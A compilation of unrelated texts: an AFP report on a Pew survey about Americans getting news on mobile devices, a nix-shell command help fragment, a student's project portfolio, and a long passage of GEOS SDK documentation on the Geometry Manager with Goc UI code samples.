For Americans, mobile devices top for news: survey
Americans rely on their mobile devices for online news far more than desktop or laptop computers, building on a trend that began several years ago, a survey showed Wednesday.
The Pew Research Center report found 57 percent of US adults often get news from a smartphone or tablet compared with 30 percent from a PC.
The share of Americans who often get news on a mobile device is more than double the 21 percent who did so in 2013, the first time Pew asked this question.
The percentage who often get news on a desktop or laptop computer has remained relatively stable during this period.
Younger adults are far more likely than others often to use a mobile device for news — 72 percent in the 18-29 age bracket compared with 38 percent among those aged 65 and older.
The seniors were more likely to use a PC for news than the younger group, by a margin of 34 to 23 percent, Pew found.
The survey comes as online giants such as Google, Facebook and Apple step up with new ways to deliver news and curb the spread of viral misinformation on their platforms.
The platforms have also come under increasing pressure from struggling legacy news organizations to offer a better share of digital ad revenues that stem from news stories.
Facebook last month began rolling out its dedicated “news tab” with professionally produced content in the latest move by the social network to promote journalism and shed its reputation as a platform for misinformation. AFP


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nix-shell
Start an interactive shell based on a Nix expression.
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- Start with nix expression in `shell.nix` or `default.nix` in the current directory:
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nix-shell --run "command arg1 arg2 ..."
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nix-shell --packages package_name_1 package_name_2 ...
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- Evaluate rest of file in specific interpreter, for use in `#!-scripts` (see


Hi, my name is Rohit. I am a B.E. Computer Science graduate from Birla Institute of Technology and Science, Pilani (BITS Pilani) .
You can contact me here
Projects:
- SPDX Online Tool
- Google Summer of Code 2017 Project with SPDX -
- Built an easy all-in-one portal to upload and parse SPDX documents for validation, comparison and conversion and search SPDX license list by forming a Python-Java bridge for integrating various methods from the SPDX JAVA tools library.
- SSMS Grub Portal
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- Finding blood online.
- Signing-Portal
- Extending SSMS Grub portal to include t-shirts,sweatshirt, event and prof shows signing in the campus.( We won the first prize for this project
in Software Design Application Development Category at our Annual Technical fest APOGEE 2017, BITS Pilani.)
- Twitter Trends
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Rohit Lodha . rtgdk.github.io
Last Updated - 10 September, 2020


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One of the more difficult aspects of programming a graphically oriented application is positioning the user interface components on the screen. Developers often have to manually place buttons, size dialog boxes, and draw frames and titles. The GEOS Geometry Manager lets you ignore most of these issues.
The geometry manager allows you to ignore position, size, and spacing of your generic UI components; if you use visual objects, the geometry manager can calculate object sizes and positions, dynamically changing them as necessary. Because the geometry manager works at run-time, you have to do very little in the way of screen management. Instead, you can set various attributes and hints to fine-tune your UI's appearance.
1 Geometry Manager Overview
1.1 Geometry Manager Features
1.2 How Geometry Is Managed
2 Arranging Your Generic Objects
2.1 General Geometry Rules
2.2 Orienting Children
2.3 Justifying and Centering Children
2.4 Sizing Objects
2.5 Outlining the Composite
2.6 Using Monikers
2.7 Using Custom Child Spacing
2.8 Allowing Children to Wrap
2.9 Object Placement
3 Positioning and Sizing Windows
3.1 Window Positioning
3.2 Determining Initial Size
3.3 On-Screen Behavior
3.4 Window Look and Feel
The GEOS geometry manager is an algorithmic mechanism which interacts directly with the UI to position and size objects of all types. The geometry manager automatically manages all generic objects through interactions with the specific UI library; you can also use it to manage your visible object trees.
The Geometry Manager is what makes the generic UI possible: Since geometry of UI objects (size and position) is determined by the UI at run-time, generic UI objects do not have to be explicitly defined with certain geometry. With this feature, a specific UI library can set up the UI geometry as it wants.
Your first interaction with the geometry manager will be when you build a generic object tree for your UI. Most hints applied to an object are signals to the geometry manager about how the object should be positioned, sized, or otherwise placed on the screen. These hints are all defined in
GenClass
, the topmost generic object class, so they are available (though not necessarily useful) to all types of generic objects.
This chapter first describes the features of the geometry manager and how the mechanism fits into the GEOS system as a whole (later in this section). Then it discusses how to manage generic UI objects (using a dialog box as an example) in Arranging Your Generic Objects . For the hints you can apply to window objects, see Positioning and Sizing Windows . For descriptions of managing the geometry of visible object trees and composites, see the VisClass chapter.
The geometry manager, used effectively, can take nearly all the work out of displaying, sizing, and positioning objects on the screen. Many of the tasks you normally would have to do to create even a simple dialog box are taken care of automatically by the geometry manager and the specific UI library.  The system does all the dirty work of drawing and managing the objects on the screen, leaving you free to work on your application rather than on its graphical screen representation.
The geometry manager is one part of the system that draws objects on the screen and redraws them when necessary. This system is called the "visual update mechanism."
The visual update mechanism is invoked any time the geometry or image of an object is marked invalid. If only the image is invalid, typically no geometry calculations will be done. If, however, the geometry of an object is marked invalid, the geometry manager is called in to calculate the new size and position of all the affected objects in the object tree.
Normally, you won't have to do any more than set certain hints (for generic objects) or attribute flags (for visible objects) to get the desired geometry behavior. If, however, you plan on modifying how the geometry of a particular set of objects is set, you will want to understand the sequence of events that happen during a geometry update. Typically, only programmers who are building their own specific UI libraries and those who have complex visual object trees will need to understand the geometry calculation sequence.
The geometry manager's calculation can be thought of as a multiple-pass, recursive algorithm. It traverses the object tree, managing geometry within each composite until it reaches the top-most object that is unaffected by the geometry calculations.
The geometry update process is invoked when an object has its geometry marked invalid. This is determined by the object's visual flags (its
VI_optFlags
field), VOF_GEOMETRY_INVALID and VOF_WINDOW_INVALID. If either of these flags is set, the object's geometry requires recalculation.
The geometry manager sends
MSG_VIS_UPDATE_GEOMETRY
to the visible object with invalid geometry. This message determines which objects in the tree are potentially affected by the geometry update, and then it recalculates the tree's geometry.
If the object initially marked invalid is a composite, all its children are automatically included in the update. If the object is a child of a composite, the geometry manager will travel up the tree, marking any parents and siblings that also require recalculation. (Recalculation does not cross VTF_IS_WIN_GROUP boundaries, however. A VTF_IS_WIN_GROUP is any windowed object; geometry calculations generally do not cross windowed objects (move into another window layer) unless explicitly instructed to do so.)
The geometry manager then returns to the bottom-most affected object in the tree and sends it a
MSG_VIS_RECALC_SIZE
. This message passes the object a suggested size, which will be the same as the object's original size. (The original size is passed as an optimization in case the object does not need its geometry changed; many changes will affect many objects but will actually change only a few.)
The object then returns its new desired size based on the geometry change. If this is the original object marked invalid, the returned size will be the direct result of the geometry change. If this object is a descendent of the invalid object, it may not want to change its geometry at all and may therefore return its current size.
The geometry manager collects the returned sizes of all siblings at a given level and calculates the suggested size of their parent composite. The parent composite is then sent
MSG_VIS_RECALC_SIZE
with the newly calculated size and returns the size it wants to be as a result. (Some composites will have fixed, maximum, or minimum sizes or may have their sizing tied to other factors; these objects may return a different size.) If the returned size is different from the passed size, the geometry manager arbitrates between the objects. Typically, the composite will be grown large enough (even if fixed or maximum size) to fit all its children.
The geometry manager will go up the tree in this manner, calculating the new geometry of each child and then each composite until it reaches an object that is unaffected by the geometry change. (For example, if a child shrinks but other children cause the composite to remain the same size, the geometry update will stop at the composite because objects higher up are not affected.) If all objects in the tree are affected by the change, the geometry update will stop at the topmost object in the branch (the first VTF_IS_WIN_GROUP object).
If any parent objects disagree with their children on the new size, the geometry manager will arbitrate. The geometry manager may make several passes to suggest width and height changes to both the child and parent before deciding on an ultimate geometry. The geometry manager may alter child spacing, wrap the children, grow the composite, or even clip the children if necessary. A result will quickly be reached, however--the geometry manager will not thrash between the parent and children (unless you subclass
MSG_VIS_RECALC_SIZE
or
MSG_VIS_GET_CENTER
and do not pay close attention to how the message is handled).
After the geometry is recalculated up to the first VTF_IS_WIN_GROUP object (or up to the top affected object), a
MSG_VIS_NOTIFY_GEOMETRY_VALID
will be sent to each of the invalid objects that have
VGA_NOTIFY_GEOMETRY_VALID set in their
VI_attrs
field. A visual update will then be started to draw the new geometry to the screen. Once a branch's geometry has been calculated, the branch will remain unaffected until the next time the geometry of one of its objects is marked invalid.
If a recalculation of a branch's geometry causes a VTF_IS_WIN_GROUP object to change its size or position, the window system will determine the effects. For example, if a VisContent object grows as a result of a geometry change, it will send a
MSG_GEN_VIEW_SET_DOC_BOUNDS
to the GenView; the geometry recalculation mechanism will not scroll the content-view connection. What happens to the view and its parent window then depends on the attributes of the view. For example, if the view is set to follow the size of its content, it will grow, bumping the size of its parent in the process. If the view is scrollable, it likely will stay the same size.
The process of arranging user interface elements for a GEOS application differs drastically from that of traditional user interface programming methods. In most graphical systems, you must manually determine the location of each and every user interface element. For instance, to design a dialog box, you have to figure the location of each text string, button, and list entry. Normally, these items would have to be hard-coded into your application, and often different video resolutions would have to be taken into account.
Not so in GEOS. The generic and specific UI libraries work with the geometry manager to automatically arrange your generic UI objects in the most appropriate way. To describe a dialog box in GEOS, for instance, you simply have to define the objects contained in the dialog box and their relative positions in the generic object tree; GEOS does the rest, determining the position and visual effects of each object. You can even fine-tune the appearance of each object with the use of hints.
Justifying and Centering Children
You may feel at first that the use of generic UI components limits your control over the UI of your application. Actually, just the opposite is true: Your application becomes immediately available at all supported video resolutions in all available specific UIs. Additionally, you can concentrate on more important issues of your application; the generic UI objects take care of a tremendous amount of the work in positioning and displaying the user interface.
To determine your generic UI tree, you must remember that UI geometry is determined by three things: First and foremost, the overall structure of the UI is governed by the structure and organization of the generic object tree. For example, if GenTriggers A, B, and C are designated as children of a dialog box, they will likely be ordered in the same order they're listed in the dialog's
GI_comp
field.
Second, an object's attributes can determine its implementation. For example, the
GIGI_visibility
field of a GenInteraction can determine whether the interaction is implemented as a dialog box, a menu, or a grouping object. The attributes of a generic object determine the basic functionality of the object; that is, even though a menu might be implemented differently in different specific UIs, the functionality of a menu will be implemented in the object. The manner of display of an object is based on its functionality. In this way, the attributes of a generic object take precedence over hints.
Third, an object's behavior can be fine-tuned through the use of hints. Hints may or may not be implemented for each object that has them, and they control less strictly how the object works.
As stated above, the structure of your application's generic object tree determines how the generic UI objects will be organized. A simple example of a generic tree including a menu, a dialog box, and a GenView can be found in the Hello World chapter.
Nearly all geometry of generic UI objects is determined by hints. You can position, size, and limit generic objects with different hints. All these hints are defined in
GenClass
; inheritance allows all generic objects to have them, though not all hints are applicable to all generic objects.
Hints are described in detail in the GenClass chapter, but the basics are reviewed here for convenience. Hints are implemented as variable data entries; each hint is a different variable-data type. Hints therefore take up instance data space in an object only when the object has that hint.
As stated earlier, not all hints are appropriate for all objects. For example,
HINT_CUSTOM_CHILD_SPACING
is probably not useful when applied to a GenTrigger object because a GenTrigger can have no children. Hints, by definition, are also not guaranteed to be supported by all specific UI libraries. For example, a specific UI might require all elements of a dialog box to be oriented horizontally; in this case,
HINT_ORIENT_CHILDREN_VERTICALLY
might be useful but might not be heeded by the specific UI.
Because geometry management of generic objects can be confusing at times, this chapter follows a series of examples accompanied with diagrams. For the most part, you should be able to "plug and play" the examples in the following sections.
HINT_ORIENT_CHILDREN_HORIZONTALLY, HINT_ORIENT_CHILDREN_VERTICALLY, HINT_ORIENT_CHILDREN_ALONG_LARGER_DIMENSION, HINT_SAME_ORIENTATION_AS_PARENT
The two hints
HINT_ORIENT_CHILDREN_HORIZONTALLY
and
HINT_ORIENT_CHILDREN_VERTICALLY
, when used in a composite object, determine the orientation of the composite's children. A composite object can orient its children either horizontally or vertically. The geometry manager will determine the combined size of the children and any margins or spacing set up (none by default) and will size the composite to the minimum required by its children.
Children oriented horizontally will typically be top-justified, and children oriented vertically will be left-justified. (This is default behavior changeable either with the use of hints or by the specific UI.) The vertical composite will size to the width of the widest child; the horizontal composite will size to the height of the tallest child.
Code Display 12-1 Orienting a Composite
/* Composite oriented horizontally */ @object GenInteractionClass MyInteraction = { GI_comp = @ApplyTrigger, @ResetTrigger, @CancelTrigger; HINT_ORIENT_CHILDREN_HORIZONTALLY; }
/* Composite oriented vertically */ @object GenInteractionClass MyOtherInteraction = { GI_comp = @ApplyTrigger, @ResetTrigger, @CancelTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
A large example of a complex dialog box is shown in the figure below. This dialog box uses nested GenInteraction objects to achieve a complex grouping of children. Using the many justification, spacing, and orientation hints described throughout the chapter, you can change and fine-tune the appearance of the dialog box. The code that implements this dialog box is shown in A Complex Dialog Box .
Two other hints may be useful for arranging children, especially in toolboxes. These two hints are not shown in the examples, though they are used prominently with tool groups.
HINT_SAME_ORIENTATION_AS_PARENT
is used by one windowed object (GenInteraction) when it should orient its children in the same way its parent does. This, too, is useful for toolboxes because you can set an orientation in the toolbox, then set
HINT_SAME_ORIENTATION_AS_PARENT
in the tool group.
HINT_ORIENT_CHILDREN_ALONG_LARGER_DIMENSION
allows you to orient a composite's children along the screen's larger dimension. The hint will work like
HINT_ORIENT_CHILDREN_HORIZONTALLY
if the screen is wider than it is tall; it will work like
HINT_ORIENT_CHILDREN_VERTICALLY
if the screen is taller than it is wide.
Code Display 12-2 A Complex Dialog Box
/* This code display shows the basic Goc code that will get the configuration * shown in the above figure. */
/* The topmost interaction. It groups the two large interactions vertically. */ @object GenInteractionClass TopInteraction = { GI_comp = @ParaInteraction, @ReplyInteraction; HINT_ORIENT_CHILDREN_VERTICALLY; }
/* The top of the two large interactions. It groups the three smaller interactions * on the top, horizontally. */ @object GenInteractionClass ParaInteraction = { GI_comp = @FontInteraction, @JustInteraction, @StyleInteraction; HINT_ORIENT_CHILDREN_HORIZONTALLY; }
/* The interaction containing the Apply, Reset, and Cancel triggers. The * triggers are oriented horizontally. */ @object GenInteractionClass ReplyInteraction = { GI_comp = @ApplyTrigger, @ResetTrigger, @CancelTrigger; HINT_ORIENT_CHILDREN_HORIZONTALLY; }
/* The three vertically-oriented interactions at the top are similar. Each * contains several triggers. All three are defined below. */ @object GenInteractionClass FontInteraction = { GI_comp = @RomanTrigger, @SansTrigger, @MonoTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
@object GenInteractionClass JustInteraction = { GI_comp = @LeftTrigger, @RightTrigger, @CenterTrigger, @FullTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
@object GenInteractionClass StyleInteraction = { GI_comp = @PlainTrigger, @BoldTrigger, @SuperTrigger, @SubTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
/* Triggers. All the triggers are essentially the same. Each is named as it * appears in the GI_comp fields above, and each has the corresponding * GI_visMoniker field. The RomanTrigger object is shown as an example. */
@object GenTriggerClass RomanTrigger = { GI_visMoniker = "Roman"; }
Although child justification defaults to whatever the specific UI normally uses, you can set the justification of a composite's children with several different hints.
Typically, horizontal composites will have their children top-justified and vertical composites will have left-justified children (as shown in the previous examples).
HINT_TOP_JUSTIFY_CHILDREN, HINT_BOTTOM_JUSTIFY_CHILDREN, HINT_LEFT_JUSTIFY_CHILDREN, HINT_RIGHT_JUSTIFY_CHILDREN
If you want to line all of a composite's children up on one of their edges, you should use one of these hints. They are self-explanatory; the edge specified in the name of the hint (top, left, etc.) is the edge of the composite along which all the children will appear.
Add the justification hints along with an orientation hint. Examples of justification are shown in the figure below.
HINT_ALIGN_LEFT_EDGE_WITH_OBJECT, HINT_ALIGN_TOP_EDGE_WITH_OBJECT, HINT_ALIGN_RIGHT_EDGE_WITH_OBJECT, HINT_ALIGN_BOTTOM_EDGE_WITH_OBJECT
These hints align an object's respective edge with the same edge of another object; the optr of the other object is the hint's argument. The other object does not necessarily have to be a direct sibling or parent, but the result must not cause the object to stray outside its parent's bounds.
HINT_CENTER_CHILDREN_VERTICALLY, HINT_CENTER_CHILDREN_HORIZONTALLY
Often, rather than justifying a composite's children, you will want to center them. These two hints allow you to center the children as shown in the figure below.
HINT_FULL_JUSTIFY_CHILDREN_HORIZONTALLY, HINT_FULL_JUSTIFY_CHILDREN_VERTICALLY, HINT_DONT_FULL_JUSTIFY_CHILDREN, HINT_INCLUDE_ENDS_IN_CHILD_SPACING, HINT_DONT_INCLUDE_ENDS_IN_CHILD_SPACING
Besides justifying the composite's children either on a single edge or on the center line of the composite, you might want to full-justify the children. To do this, you will want to give the composite an orientation first (either vertical or horizontal). The composite may also require a special sizing hint to expand its bounds--see
HINT_EXPAND_WIDTH_TO_FIT_PARENT
and the other sizing hints in Sizing Objects
.
If the full justification hint is in the same dimension as the orientation of the composite (e.g.,
HINT_FULL_JUSTIFY_CHILDREN_HORIZONTALLY
and
HINT_ORIENT_CHILDREN_HORIZONTALLY
), then the geometry manager will divide up the entire space of the composite and spread the children out equally along it. If you also specify
HINT_INCLUDE_ENDS_IN_CHILD_SPACING
, the geometry manager will calculate the spacing as if there were one more child than there actually is; it will then put half the extra space on either end of the children. HINT_DONT_INCLUDE_ENDS_IN_CHILD_SPACING performs the default calculations. Examples of various full justification are shown in the figure below. See Using Full Justification of Children
for the code required to implement this full justification behavior.
Typically, full justification is not implemented by default. Some specific UIs may try to full-justify children always; if you want the children non-justified (when possible), apply
HINT_DONT_FULL_JUSTIFY_CHILDREN
. Added spacing is also typically not turned on by default; you can ensure that added spacing will not be included (where possible) by applying the hint
HINT_DONT_INCLUDE_ENDS_IN_CHILD_SPACING
to your composite.
Sizing can occur in essentially one of two ways: First, the composite can size itself based on its children. Second, the children can size themselves based on their parent. You can specify additional sizing restrictions in the form of minimum, maximum, and fixed sizes.
HINT_NO_TALLER_THAN_CHILDREN_REQUIRE, HINT_NO_WIDER_THAN_CHILDREN_REQUIRE
A composite can size itself to be only as large as its children require. This may be applied to your primary window or to other organizational composites to keep them from growing into any extra space in their parents. You can set the width and height restrictions independently; to set them both, use both hints in the composite.
HINT_EXPAND_HEIGHT_TO_FIT_PARENT, HINT_EXPAND_WIDTH_TO_FIT_PARENT, HINT_DIVIDE_WIDTH_EQUALLY, HINT_DIVIDE_HEIGHT_EQUALLY
Often a composite will have a set size and its children will want to expand themselves to take up all the available space. For example, the interaction with the Apply, Reset, and Cancel triggers in the dialog box (shown in the figure below) must have
HINT_EXPAND_WIDTH_TO_FIT_PARENT
set for it to expand itself to the far right edge of the dialog box. Another potential situation is a GenView within a GenPrimary; when the user resizes the primary, the view should probably expand itself to take up any extra space in the window.
A third example would be a series of triggers that want to be the same width in a vertical composite. This appears in many menus; each of the triggers expands itself to the width of the parent; the parent composite sizes its width to the largest of the triggers. An example taken from the complex dialog box is shown in the figure above. Code for this example is shown in Using Full Justification of Children .
Some more complex examples of expanding a group and justifying the elements are shown in the figure below. All of the examples use a justification hint combined with an expand-to-fit hint.
Code Display 12-3 Using Full Justification of Children
/* This code display shows the basic Goc code that will get the configuration * shown in the figure above. Other attributes are left out of the * definitions of the objects. This code display is supplemental to * A Complex Dialog Box; most comments have been removed. */
@object GenInteractionClass TopInteraction = { GI_comp = @ParaInteraction, @ReplyInteraction; HINT_ORIENT_CHILDREN_VERTICALLY; }
@object GenInteractionClass ParaInteraction = { GI_comp = @FontInteraction, @JustInteraction, @StyleInteraction; HINT_ORIENT_CHILDREN_HORIZONTALLY; }
@object GenInteractionClass ReplyInteraction = { GI_comp = @ApplyTrigger, @ResetTrigger, @CancelTrigger; HINT_ORIENT_CHILDREN_HORIZONTALLY; HINT_EXPAND_WIDTH_TO_FIT_PARENT; HINT_FULL_JUSTIFY_CHILDREN_HORIZONTALLY; HINT_INCLUDE_ENDS_IN_CHILD_SPACING; }
@object GenInteractionClass FontInteraction = { GI_comp = @RomanTrigger, @SansTrigger, @MonoTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
@object GenInteractionClass JustInteraction = { GI_comp = @LeftTrigger, @RightTrigger, @CenterTrigger, @FullTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
@object GenInteractionClass StyleInteraction = { GI_comp = @PlainTrigger, @BoldTrigger, @SuperTrigger, @SubTrigger; HINT_ORIENT_CHILDREN_VERTICALLY; }
/* Triggers. All the upper triggers are essentially the same. Each is named as it * appears in the GI_comp fields above, and each has the corresponding * GI_visMoniker field. The RomanTrigger object is shown as an example. */
@object GenTriggerClass RomanTrigger = { GI_visMoniker = "Roman"; HINT_EXPAND_WIDTH_TO_FIT_PARENT; }
/* The Apply, Reset, and Cancel triggers do not have the hint shown above. */ @object GenTriggerClass ApplyTrigger = { GI_visMoniker = "Apply"; }
HINT_DIVIDE_WIDTH_EQUALLY and HINT_DIVIDE_HEIGHT_EQUALLY instruct a composite object to divide up its space along the affected dimension among the usable children. This hint can only suggest sizes for the children. The children themselves will decide if they can expand or contract to fit the requested space. (In general, children will not contract to fit a requested size, but they may expand.) Note: these hints will not work within GenValue objects; if you wish to use them on such an object, place them within a dummy GenInteraction object and use these hints on that object.
Typically, these hints work well in conjunction with HINT_EXPAND_WIDTH_TO_FIT_PARENT and HINT_EXPAND_HEIGHT_TO_FIT_PARENT. If these hints are not also in place (on a GenInteraction, for example) the division of width and/or height may be based on the children's default size; i.e., the parent will size itself based on total size of the children and then attempt to divide up its children's space, rather than the maximum allotted size for the parent, which is probably not desired.
HINT_INITIAL_SIZE, HINT_MAXIMINUM_SIZE, HINT_MINIMUM_SIZE, HINT_FIXED_SIZE
If you know certain sizing restrictions for window or interaction objects, you can set them with the following four hints. Each takes a parameter that details the appropriate height and width in points. The parameters are described for the hints.
HINT_INITIAL_SIZE
CompSizeHintArgs
, a structure that defines a suggested width, height, and the number of children the object has.
HINT_FIXED_SIZE
HINT_INITIAL_SIZE
, of type
CompSizeHintArgs
.
HINT_MAXIMUM_SIZE
HINT_INITIAL_SIZE
, of type
CompSizeHintArgs
.
HINT_MINIMUM_SIZE
HINT_INITIAL_SIZE
, of type
CompSizeHintArgs
.The following examples show different ways to set the initial size of an object. The third argument of the hint is the number of children in a particular line of a composite, when the composite is set up to wrap its children.
This example sets the initial size of the composite (probably a GenPrimary) to be half the screen's height and half the screen's width.
HINT_INITIAL_SIZE = { SST_PCT_OF_FIELD_WIDTH | PCT_50, SST_PCT_OF_FIELD_HEIGHT | PCT_50, 0 };
This example sets the size of the composite to be 100 pixels high and 200 pixels wide.
HINT_FIXED_SIZE = { SST_PIXELS | 200, SST_PIXELS | 100, 0 };
This example sets the composite's minimum size to be 10 average characters wide and 20 percent of the screen height tall.
HINT_MINIMUM_SIZE = { SST_AVG_CHAR_WIDTHS | 10, SST_PCT_OF_FIELD_HEIGHT | PCT_20, 0 };
HINT_DRAW_IN_BOX
Often it is useful to outline a composite, especially if it is used for organizational purposes within another composite. You can use the hint
HINT_DRAW_IN_BOX
to have the UI automatically draw a box at the object's bounds as shown below.
Nearly all generic objects will have visual monikers (usually text labels) that get drawn somewhere in or near the object. The moniker helps the user distinguish between different objects; for example, each trigger should have a text (or graphical) moniker giving some indication of what happens when the trigger is pressed.
HINT_PLACE_MONIKER_ABOVE, HINT_PLACE_MONIKER_BELOW, HINT_PLACE_MONIKER_TO_LEFT, HINT_PLACE_MONIKER_TO_RIGHT, HINT_DO_NOT_USE_MONIKER, HINT_CENTER_MONIKER, HINT_PLACE_MONIKER_ALONG_LARGER_DIMENSION, HINT_ALIGN_LEFT_MONIKER_EDGE_WITH_CHILD
Monikers are extremely useful and dynamic--see the GenClass chapter, for full information on creating, manipulating, and using visual monikers. Monikers may be created or changed at run-time (often causing geometry updates), and all generic objects may be given monikers.
If you place a composite object's moniker to one side of its children, the geometry manager will ensure extra space in the composite gets allotted for the moniker. You can hint that the moniker should be placed above, to the right of, to the left of, or below the children. You can also hint that the moniker should not be used.
Most specific UIs will put the moniker to the left of the object's children by default. You can also center the moniker on the composite's children with
HINT_CENTER_MONIKER
.
You can also have the UI place the moniker along the object's larger dimension--to the left if the screen is wider than it is tall, or above if the screen is taller than it is wide. To do this, set the hint
HINT_PLACE_MONIKER_ALONG_LARGER_DIMENSION
.
If a moniker is placed above a group of children, HINT_ALIGN_LEFT_MONIKER_EDGE_WITH_CHILD ensures that left moniker edge coincides with the left edge of the first child below that moniker. This is usually the default behavior anyway, but different specific UIs may have different default behavior.
HINT_CENTER_CHILDREN_ON_MONIKERS, HINT_LEFT_JUSTIFY_MONIKERS
When you have several composites within a single composite, you can center the composites based on the position and size of the monikers. Using the hint
HINT_CENTER_CHILDREN_ON_MONIKERS
has the effect shown in the figure above: It aligns the child composites so their monikers are right-justified at the center. Adding
HINT_LEFT_JUSTIFY_MONIKERS
has a similar effect, except the monikers are left-justified.
Note that the two hints
HINT_CENTER_CHILDREN_ON_MONIKERS
and
HINT_LEFT_JUSTIFY_MONIKERS
are valid only for composites with one or more child composites, all of which have monikers placed to their left.
HINT_NO_BORDERS_ON_MONIKERS
This hint removes borders that may appear by default around an object's moniker. For example, GenTriggers under most specific UIs have a rectangular border drawn around their moniker's borders. This hint removes these borders. It may be useful in cases where a custom border should be implemented, but in general should not be used to override the specific UI, as this may confuse the user.
HINT_CUSTOM_CHILD_SPACING, HINT_CUSTOM_CHILD_SPACING_IF_LIMITED_SPACE, HINT_MINIMIZE_CHILD_SPACING
Normally, spacing of children within a composite is left entirely up to the specific UI. You can customize spacing, however, by using the hint
HINT_CUSTOM_CHILD_SPACING
. This hint takes a single argument of type
SpecSizeSpec
, described below.
The
SpecSizeSpec
structure defines both the spacing between children and how the spacing is determined. It exists as a record with two fields: The first field is a constant of type
SpecSizeTypes
, used to interpret the second field. The second field is data based on the type specified in the first field.
The different types allowable in the first field are
xx
, where the
xx
represents any multiple of five between zero and 100 inclusive. You can get better accuracy by using your own value if desired, however.Both fields of the record are defined by using the bitwise-or operator. If you had a composite that wanted to line all its children up exactly next to each other, for example, you would specify the hint as follows:
@object GenInteractionClass @MyComp = { GI_comp = @child1, @child2, @child3; HINT_CUSTOM_CHILD_SPACING = SST_PIXELS | 0; }
HINT_CUSTOM_CHILD_SPACING_IF_LIMITED_SPACE
also takes a
SpecSizeSpec
to suggest a custom amount of spacing, but only implements this custom spacing if the specific UI determines that the children are already too tightly arranged. This hint may or may not be helpful, as the specific UI often allocates a minimum amount of spacing independent of this hint.
HINT_MINIMIZE_CHILD_SPACING ensures that child spacing is kept to an absolute minimum, even if this means that object's edges will touch (in color systems) or even overlap (in black and white systems).
HINT_ALLOW_CHILDREN_TO_WRAP, HINT_WRAP_AFTER_CHILD_COUNT, HINT_DONT_ALLOW_CHILDREN_TO_WRAP, HINT_WRAP_AFTER_CHILD_COUNT_IF_VERTICAL_SCREEN
When a composite grows to fit its children and also must remain small enough to fit within its generic parent, it may wrap the children. This typically happens as a result of the user resizing a window smaller so the children of the composite no longer fit the window's width. Wrapping can occur in both the horizontal and the vertical, depending on the orientation of the composite object.
To allow a composite to wrap its children when necessary, apply the hint
HINT_ALLOW_CHILDREN_TO_WRAP
to the composite. If you want the children not to wrap, apply
HINT_DONT_ALLOW_CHILDREN_TO_WRAP
. An example of wrapping children appears below.
When
HINT_WRAP_AFTER_CHILD_COUNT
is applied and children are allowed to wrap, the composite will cause its children to wrap after a certain number are displayed. This hint takes a single integer as a parameter. For example, if you wanted three children on every line in the composite no matter how many children there were total, you would specify the composite as follows:
@object GenInteractionClass @MyComp = { GI_comp = @child1, @child2, @child3, @child4; HINT_ALLOW_CHILDREN_TO_WRAP; HINT_WRAP_AFTER_CHILD_COUNT = 3; }
The configuration shown above is demonstrated in the figure below.
A variation,
HINT_WRAP_AFTER_CHILD_COUNT_IF_VERTICAL_SCREEN
, allows you to allow child wrapping based on whether or not the screen is "vertical." If the screen is taller than it is wide, this hint will have an effect like
HINT_WRAP_AFTER_CHILD_COUNT
; if not, the hint will have no effect.
As we have seen, generic objects can be arranged and distributed in several ways. You may also place generic objects within certain areas of your user interface that are not explicitly defined. For example, in many dialog boxes, a "reply bar" is typically present where reply triggers such as "OK," "Cancel," or "Apply" are located. You may specify objects to generically place themselves within such a reply bar, even though you may not know the exact location of that reply bar as the specific UI creates it.
HINT_MAKE_REPLY_BAR, HINT_SEEK_REPLY_BAR
One special feature that many dialog boxes have is a reply bar . Typically, any dialog box that allows the user to set a number of options before applying them will have a reply bar. A reply bar usually has triggers in it for "Apply," "Cancel," and perhaps other functions (such as "Reset").
Note that many special dialog box types can have their reply bars built automatically according to the specific UI. See the Menus and Dialog Boxes chapter for full information on reply bars. If you want to create your own, however, you can with the hints in this section.
Although you have to declare each of the triggers that will appear in the reply bar, you can use
HINT_MAKE_REPLY_BAR
to set up the geometry appropriate for the specific UI. For example, Creating a Reply Bar
gives the code that will create a reply bar.
Code Display 12-4 Creating a Reply Bar
/* This reply bar has three triggers, Apply, Reset, and Cancel. * The appropriate geometry is not determined until run-time. */
@object GenInteractionClass MyReplyBar = { GI_comp = @ApplyTrigger, @ResetTrigger, @CancelTrigger; HINT_MAKE_REPLY_BAR; }
@object GenTriggerClass ApplyTrigger = { GI_visMoniker = "Apply"; }
@object GenTriggerClass ResetTrigger = { GI_visMoniker = "Reset"; }
@object GenTriggerClass CancelTrigger = { GI_visMoniker = "Cancel"; }
HINT_SEEK_REPLY_BAR instructs the generic object (usually a GenTrigger) to seek placement in the dialog box's reply bar. The specific UI will try to place the trigger in the reply bar of the first dialog box GenInteraction it finds that is not GIT_ORGANIZATIONAL.
HINT_SEEK_MENU_BAR, HINT_AVOID_MENU_BAR
Usually, it is left up to the specific UI whether it places any given object within a menu bar. You can suggest that objects be placed within the window's menu bar by placing HINT_SEEK_MENU_BAR on that object. Similarly, you can place HINT_AVOID_MENU_BAR on an object to suggest that it not be placed within the window's menu bar.
HINT_SEEK_X_SCROLLER_AREA, HINT_SEEK_Y_SCROLLER_AREA, HINT_SEEK_LEFT_OF_VIEW, HINT_SEEK_TOP_OF_VIEW, HINT_SEEK_RIGHT_OF_VIEW, HINT_SEEK_BOTTOM_OF_VIEW
These hints affect the placement of generic objects within GenViews. The objects must be children of a GenView for the hints to take effect.
HINT_SEEK_X_SCROLLER_AREA and HINT_SEEK_Y_SCROLLER_AREA suggest that a generic object be placed alongside the scrollbar area--either the horizontal scrollbar or the vertical scrollbar, respectively--of the GenView object.
HINT_SEEK_LEFT_OF_VIEW , HINT_SEEK_TOP_OF_VIEW, HINT_SEEK_RIGHT_OF_VIEW and HINT_SEEK_BOTTOM_OF_VIEW suggest that the generic object be placed alongside the respective side of the GenView.
HINT_SEEK_TITLE_BAR_LEFT, HINT_SEEK_TITLE_BAR_RIGHT
These hints suggest the placement of a generic object within a window's title bar. These hints are usually used on GenTriggers or GenInteractions; the objects involved should fit within the title bar area (i.e., be equivalent to tool bar icons). For each window with a title bar, only one object may have each of these hints, and the object must be a direct child of the windowed object.
HINT_POPS_UP_TO_RIGHT, HINT_POPS_UP_BELOW
